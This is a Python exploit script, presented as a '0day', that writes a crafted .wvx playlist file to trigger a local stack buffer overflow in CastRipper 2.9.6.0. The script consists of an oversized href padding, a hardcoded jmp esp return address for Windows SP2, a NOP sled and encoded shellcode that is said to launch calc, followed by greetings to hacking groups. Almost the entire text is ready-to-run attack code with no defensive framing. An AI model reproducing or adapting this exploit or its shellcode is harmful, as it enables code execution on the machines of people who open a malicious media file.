CastRipper 2.9.6.0 .wvx File Local Buffer Overflow

`#!/usr/bin/python  
#CastRipper 2.9.6.0 .wvx file local BOF 0day by FB1H2S  
# Greetz to all Darkc0de, Andhra Hackers and ICW Memebers   
#Thanks : Mr bond,beenu,Wipu,GOdwinAustin,The_empty,hg_H@x0r,r45c4l,it_security,eberly,Tia  
#Shoutz : SMART_HAX0R,j4ckh4x0r,41w@r10r,Hackuin  
#Catch us at www.andhrahackers.com or www.teamicw.in   
#And all respect to offensive security team  
header='<asx version = "3.0" >\n'  
header2="<title>Cantonese 16 14-15</title>\n"  
header3="<entry>\n"  
href='<ref href="'  
shell='A' * 26040  
shell2='\x78\x9c\x0b\x7d' #jmp esp ff e4 from windows dll win service-pack 2  
extra= 'D' * 4  
nop ="\x90" * 10  
#win calc the best nd easy payload to test exploits  
shellesp=("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"  
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"  
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"   
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"   
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"   
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"   
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"   
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"   
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"   
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"  
"\x7f\xe8\x7b\xca")  
shell3='"'  
end="\n</entry>"  
end1="\n</asx>"  
out_file = open("exploitpy.wvx",'w')  
out_file.write(header+header2+header3+href+shell+shell2+extra+nop+shellesp+nop+shell3+end+end1)  
out_file.close()  
  
  
`